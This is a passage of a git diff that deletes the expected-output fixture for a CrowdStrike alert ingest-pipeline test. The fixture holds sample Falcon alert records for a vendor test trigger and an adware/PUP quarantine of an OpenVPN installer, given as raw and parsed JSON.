Machine"},"display_name":"TestTriggerInformational","email_sent":true,"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","global_prevalence":"common","grandparent_details":{"cmdline":"cmd crowdstrike_test_medium","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"2796","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17938741315","process_id":"17938741315","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:21Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","indicator_id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","ioc_context":[],"local_prevalence":"unique","local_process_id":"6028","logon_domain":"raquel-win10-3","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","name":"DemoInformationalPattern","objective":"Falcon Detection Method","parent_details":{"cmdline":"cmd crowdstrike_test_low","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"4840","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17940808135","process_id":"17940808135","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:32Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"parent_process_id":"17940808135","pattern_disposition":0,"pattern_disposition_description":"Detection, standard detection.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"containment_file_system":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"mfa_required":false,"operation_blocked":false,"policy_disabled":false,"prevention_provisioning_enabled":false,"process_blocked":false,"quarantine_file":false,"quarantine_machine":false,"registry_operation_blocked":false,"response_action_already_applied":false,"response_action_failed":false,"response_action_triggered":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":10307,"platform":"Windows","poly_id":"AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==","priority_explanation":["[MOD] The severity of the detection: Informational"],"priority_value":10,"process_id":"17942810918","process_start_time":"1749205241","product":"epp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":10,"severity_name":"Informational","sha1":"0000000000000000000000000000000000000000","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","show_in_ui":true,"source_products":["Falcon Insight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"Falcon Overwatch","tactic_id":"CSTA0006","technique":"Malicious Activity","technique_id":"CST0002","template_instance_id":"1339","timestamp":"2025-06-06T10:20:41.789Z","tree_id":"17181460644","tree_root":"17934037600","triggering_process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17942810918","type":"ldt","updated_timestamp":"2025-06-06T10:21:50.710758858Z","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json deleted file mode 100644 index 911cd2426c..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json +++ /dev/null @@ -1,2033 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2023-11-03T18:00:22.328Z", - "crowdstrike": { - "alert": { - "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "alleged_filetype": "exe", - "cid": "92012896127c4a948236ba7601b886b0", - "cloud_indicator": false, - "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"", - "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "confidence": 10, - "context_timestamp": "2023-11-03T18:00:31.000Z", - "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778", - "crawl_edge_ids": { - "Sensor": [ - "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N", - "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!", - "N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr", - "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'", - "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N" - ] - }, - "crawl_vertex_ids": { - "Sensor": [ - "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135", - "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", - "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993", - "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425" - ] - }, - "crawled_timestamp": "2023-11-03T19:00:23.985Z", - "created_timestamp": "2023-11-03T18:01:23.995Z", - "data_domains": [ - "Endpoint" - ], - "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", - "device": { - "agent_load_flags": 0, - "agent_local_time": "2023-10-12T03:45:57.753Z", - "agent_version": "7.04.17605.0", - "bios_manufacturer": "ABC", - "bios_version": "F8CN42WW(V2.05)", - "cid": "92012896127c4a948236ba7601b886b0", - "config_id_base": "65994763", - "config_id_build": "17605", - "config_id_platform": 3, - "external_ip": "81.2.69.142", - "first_seen": "2023-04-07T09:36:36.000Z", - "groups": [ - "18704e21288243b58e4c76266d38caaf" - ], - "hostinfo": { - "active_directory_dn_display": [ - "WinComputers", - "WinComputers\\ABC" - ], - "domain": "ABC.LOCAL" - }, - "hostname": "ABC709-1175", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "last_seen": "2023-11-03T17:51:42.000Z", - "local_ip": "81.2.69.142", - "mac_address": "AB-21-48-61-05-B2", - "machine_domain": "ABC.LOCAL", - "major_version": "10", - "minor_version": "0", - "modified_timestamp": "2023-11-03T17:53:43.000Z", - "os_version": "Windows11", - "ou": [ - "ABC", - "WinComputers" - ], - "platform_id": "0", - "platform_name": "Windows", - "product_type": "1", - "product_type_desc": "Workstation", - "site_name": "Default-First-Site-Name", - "status": "normal", - "system_manufacturer": "LENOVO", - "system_product_name": "20VE" - }, - "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "grandparent_details": { - "cmdline": "C:\\Windows\\system32\\userinit.exe", - "filename": "userinit.exe", - "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe", - "local_process_id": "4328", - "md5": "b07f77fd3f9828b2c9d61f8a36609741", - "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135", - "process_id": "392734873135", - "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "timestamp": "2023-10-30T16:49:19.000Z", - "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "yuvraj.mahajan" - }, - "has_script_or_module_ioc": true, - "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "ioc_context": [ - { - "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "ioc_source": "library_load", - "ioc_type": "hash_sha256", - "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "type": "module" - } - ], - "ioc_values": [ - "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" - ], - "is_synthetic_quarantine_disposition": true, - "local_process_id": "17076", - "logon_domain": "ABSYS", - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "name": "PrewittPupAdwareSensorDetect-Lowest", - "objective": "FalconDetectionMethod", - "overwatch_note": "Activity Notice: OverWatch has observed XYZ", - "overwatch_note_timestamp": "2025-03-01T15:31:00.000Z", - "parent_details": { - "cmdline": "C:\\WINDOWS\\Explorer.EXE", - "filename": "explorer.exe", - "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", - "local_process_id": "1040", - "md5": "8cc3fcdd7d52d2d5221303c213e044ae", - "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", - "process_id": "392736520876", - "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "timestamp": "2023-11-03T18:00:32.000Z", - "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "mohit.jha" - }, - "parent_process_id": "392736520876", - "pattern_disposition": 2176, - "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.", - "pattern_disposition_details": { - "blocking_unsupported_or_disabled": false, - "bootup_safeguard_enabled": false, - "critical_process_disabled": false, - "detect": false, - "fs_operation_blocked": false, - "handle_operation_downgraded": false, - "inddet_mask": false, - "indicator": false, - "kill_action_failed": false, - "kill_parent": false, - "kill_process": false, - "kill_subprocess": false, - "operation_blocked": false, - "policy_disabled": false, - "process_blocked": true, - "quarantine_file": true, - "quarantine_machine": false, - "registry_operation_blocked": false, - "rooting": false, - "sensor_only": false, - "suspend_parent": false, - "suspend_process": false - }, - "pattern_id": "5761", - "platform": "Windows", - "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==", - "process_end_time": "2023-11-03T18:00:21.000Z", - "process_id": "399748687993", - "process_start_time": "2023-11-03T18:00:13.000Z", - "product": "epp", - "quarantined_files": [ - { - "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "state": "quarantined" - } - ], - "rule_group_id": "1b27b7f123c44e15a13fe7f44801d123", - "rule_group_name": "Windows Group", - "rule_instance_created_by": "myuser@mydomain.com", - "rule_instance_id": "123", - "rule_instance_name": "INSTANCE-1", - "rule_instance_version": "1", - "scenario": "NGAV", - "severity": 30, - "severity_name": "low", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "show_in_ui": true, - "source_products": [ - "FalconInsight" - ], - "source_vendors": [ - "CrowdStrike" - ], - "status": "new", - "tactic": "MachineLearning", - "tactic_id": "CSTA0004", - "technique": "Adware/PUP", - "technique_id": "CST0000", - "timestamp": "2023-11-03T18:00:22.328Z", - "tree_id": "1931778", - "tree_root": "38687993", - "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993", - "type": "ldt", - "updated_timestamp": "2023-11-03T19:00:23.985Z", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "mohit.jha" - } - }, - "device": { - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "manufacturer": "LENOVO", - "model": { - "name": "20VE" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "process" - ], - "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "kind": "alert", - "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\\\"__\\\"59K'R?_=`'`rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\\\"<_/?I'[##WMh'H[Rcl+!!<<'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\\\"d.&=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"has_script_or_module_ioc\":\"true\",\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"is_synthetic_quarantine_disposition\":true,\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"overwatch_note\":\"Activity Notice: OverWatch has observed XYZ\",\"overwatch_note_timestamp\":\"2025-03-01T15:31:00Z\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"rule_group_id\":\"1b27b7f123c44e15a13fe7f44801d123\",\"rule_group_name\":\"Windows Group\",\"rule_instance_created_by\":\"myuser@mydomain.com\",\"rule_instance_id\":\"123\",\"rule_instance_name\":\"INSTANCE-1\",\"rule_instance_version\":\"1\",\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}", - "severity": 21, - "type": [ - "start" - ] - }, - "file": { - "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe" - }, - "host": { - "domain": "ABC.LOCAL", - "hostname": "ABC709-1175", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "ip": [ - "81.2.69.142" - ], - "mac": [ - "AB-21-48-61-05-B2" - ], - "os": { - "full": "Windows11", - "platform": "Windows", - "type": "windows" - } - }, - "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", - "process": { - "end": "2023-11-03T18:00:21.000Z", - "entity_id": "399748687993", - "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "hash": { - "md5": 